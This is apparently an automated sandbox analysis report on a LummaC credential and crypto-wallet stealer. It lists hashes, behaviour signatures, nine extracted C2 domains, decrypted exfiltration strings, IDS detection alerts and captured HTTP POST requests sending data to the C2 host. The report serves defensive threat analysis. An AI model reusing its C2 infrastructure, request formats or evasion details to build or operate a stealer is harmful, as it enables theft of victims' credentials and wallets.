Edit tour

Windows Analysis Report
Loader.exe

Overview

General Information

Sample name:	Loader.exe
Analysis ID:	1582076
MD5:	005896360be304a48e43d98bda83e12a
SHA1:	305eb0232f73c8902427645b386810ec0efbb182
SHA256:	169e2c86cc3b4953c7a52029f656bdac7fbe5207c7711c7640e312c0d2d62a0b
Tags:	exeuser-JaffaCakes118
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Loader.exe (PID: 7476 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: 005896360BE304A48E43D98BDA83E12A)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Loader.exe (PID: 7888 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: 005896360BE304A48E43D98BDA83E12A)

WerFault.exe (PID: 6488 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7476 -s 136 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["cloudewahsj.shop", "wholersorie.shop", "nearycrepso.shop", "tirepublicerj.shop", "abruptyopsn.shop", "fancywaxxers.shop", "rabidcowse.shop", "noisycuttej.shop", "framekgirus.shop"], "Build id": "BVnUqo--@youngesstt"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Loader.exe PID: 7888	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T23:37:01.191785+0100	2028371	3	Unknown Traffic	192.168.2.4	50006	104.21.80.1	443	TCP
2024-12-29T23:37:02.210145+0100	2028371	3	Unknown Traffic	192.168.2.4	50007	104.21.80.1	443	TCP
2024-12-29T23:37:04.143444+0100	2028371	3	Unknown Traffic	192.168.2.4	50011	104.21.80.1	443	TCP
2024-12-29T23:37:05.699139+0100	2028371	3	Unknown Traffic	192.168.2.4	50012	104.21.80.1	443	TCP
2024-12-29T23:37:06.916870+0100	2028371	3	Unknown Traffic	192.168.2.4	50013	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T23:37:01.685688+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50006	104.21.80.1	443	TCP
2024-12-29T23:37:03.001796+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50007	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T23:37:01.685688+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50006	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T23:37:03.001796+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50007	104.21.80.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T23:37:05.112215+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50011	104.21.80.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: fancywaxxers.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apim	Avira URL Cloud: Label: malware
Source: rabidcowse.shop	Avira URL Cloud: Label: malware
Source: noisycuttej.shop	Avira URL Cloud: Label: malware
Source: wholersorie.shop	Avira URL Cloud: Label: malware
Source: nearycrepso.shop	Avira URL Cloud: Label: malware
Source: cloudewahsj.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/api4p.default-release/key4.dbPK	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apitd	Avira URL Cloud: Label: malware
Source: framekgirus.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/	Avira URL Cloud: Label: malware
Source: abruptyopsn.shop	Avira URL Cloud: Label: malware
Source: tirepublicerj.shop	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.3527225146.000000000313E000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["cloudewahsj.shop", "wholersorie.shop", "nearycrepso.shop", "tirepublicerj.shop", "abruptyopsn.shop", "fancywaxxers.shop", "rabidcowse.shop", "noisycuttej.shop", "framekgirus.shop"], "Build id": "BVnUqo--@youngesstt"}

Multi AV Scanner detection for submitted file

Source: Loader.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 91.1% probability

Machine Learning detection for sample

Source: Loader.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fancywaxxers.shop
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: BVnUqo--@youngesstt

Source: C:\Users\user\Desktop\Loader.exe

Code function: 6_2_00417F6B CryptUnprotectData,

6_2_00417F6B

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:50013 version: TLS 1.2

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002C81D8 FindFirstFileExW,	0_2_002C81D8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002C8289 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_002C8289
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002C81D8 FindFirstFileExW,	6_2_002C81D8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002C8289 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	6_2_002C8289

Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+esi+0Ch]	6_2_00437120
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, dword ptr [004480B0h]	6_2_0040C2D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 385488F2h	6_2_0043C499
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+14h]	6_2_0040BB4E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], dx	6_2_00418D53
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00417F6B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	6_2_00416040
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp eax	6_2_0041C066
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_0041C07E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp eax	6_2_0041C061
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp eax	6_2_0041BCF8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	6_2_004022C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax+69E06B08h]	6_2_004222D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	6_2_004222D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	6_2_004222D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	6_2_004222D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, dword ptr [ebp-18h]	6_2_004222D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ebp+00h], al	6_2_0041E2F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+esi+2Ah]	6_2_0041E2F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+00BC092Ch]	6_2_0043E2F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then add eax, eax	6_2_004082A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+2BCA296Dh]	6_2_0042C2BA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	6_2_004152B8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+3CA787A0h]	6_2_0043C36F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 088030A7h	6_2_0041A300
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 11A82DE9h	6_2_0041A300
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 11A82DE9h	6_2_0041A300
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	6_2_0041A300
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 6E87DD67h	6_2_0041A300
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 6E87DD67h	6_2_0041A300
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 11A82DE9h	6_2_0041A300
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	6_2_0041A300
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-2FE804DEh]	6_2_0042739B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	6_2_00407400
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	6_2_00407400
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+10h]	6_2_0043C40A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	6_2_00415415
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	6_2_00415415
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], cl	6_2_0042C4DC
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_0042C4DC
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_0041C5DE
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], cl	6_2_0042C59E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_0042C59E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], cl	6_2_0042C642
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_0042C642
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ecx], al	6_2_0041C653
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	6_2_00429610
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov dword ptr [esi+08h], eax	6_2_00419612
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp eax	6_2_00424690
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx eax, word ptr [ecx]	6_2_00424690
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, word ptr [ecx]	6_2_00424690
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+edx]	6_2_0043B760
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, dword ptr [ebp+0Ch]	6_2_00417778
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+35E89369h]	6_2_00409720
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	6_2_00428725
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, ecx	6_2_00428725
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [ebp+esi+02h], 0000h	6_2_004207B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	6_2_00428824
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp dword ptr [0044478Ch]	6_2_0041682D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, eax	6_2_004058A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, eax	6_2_004058A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_004218B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	6_2_00434940
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ebx], cl	6_2_0042A960
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then dec ebx	6_2_00426921
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, esi	6_2_0041CA4D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_0041CA4D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	6_2_0041BA54
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+2BCA2901h]	6_2_00437A6B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+30h]	6_2_00428A10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, dword ptr [ebp+0Ch]	6_2_00417778
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 385488F2h	6_2_0043CB75
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	6_2_00429BC0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	6_2_0042ABC8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 385488F2h	6_2_0043CB73
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+02h]	6_2_00421BE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	6_2_0042AB83
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 385488F2h	6_2_0043CB80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	6_2_00402BA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	6_2_0042AB36
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp eax	6_2_0041BCF8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, eax	6_2_00426DB3
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]	6_2_00425E30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_0041BEBE
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	6_2_0042AF49
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_0042AF49
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+ebp+543E9DE5h]	6_2_00408FE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 06702B10h	6_2_0043AF80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	6_2_0042AF8C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_0042AF8C

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50011 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50006 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50006 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50007 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50007 -> 104.21.80.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: fancywaxxers.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: framekgirus.shop

Source: Joe Sandbox View

IP Address: 104.21.80.1 104.21.80.1

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50006 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50011 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50012 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50013 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50007 -> 104.21.80.1:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 53Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7NHRP02K4MXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18127Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VTH0YMONO0BECKZELUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8784Host: fancywaxxers.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: fancywaxxers.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: Loader.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Loader.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Loader.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Loader.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: Loader.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Loader.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Loader.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Loader.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Loader.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Loader.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Loader.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: Loader.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Loader.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Loader.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Loader.exe, 00000006.00000003.3519855745.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
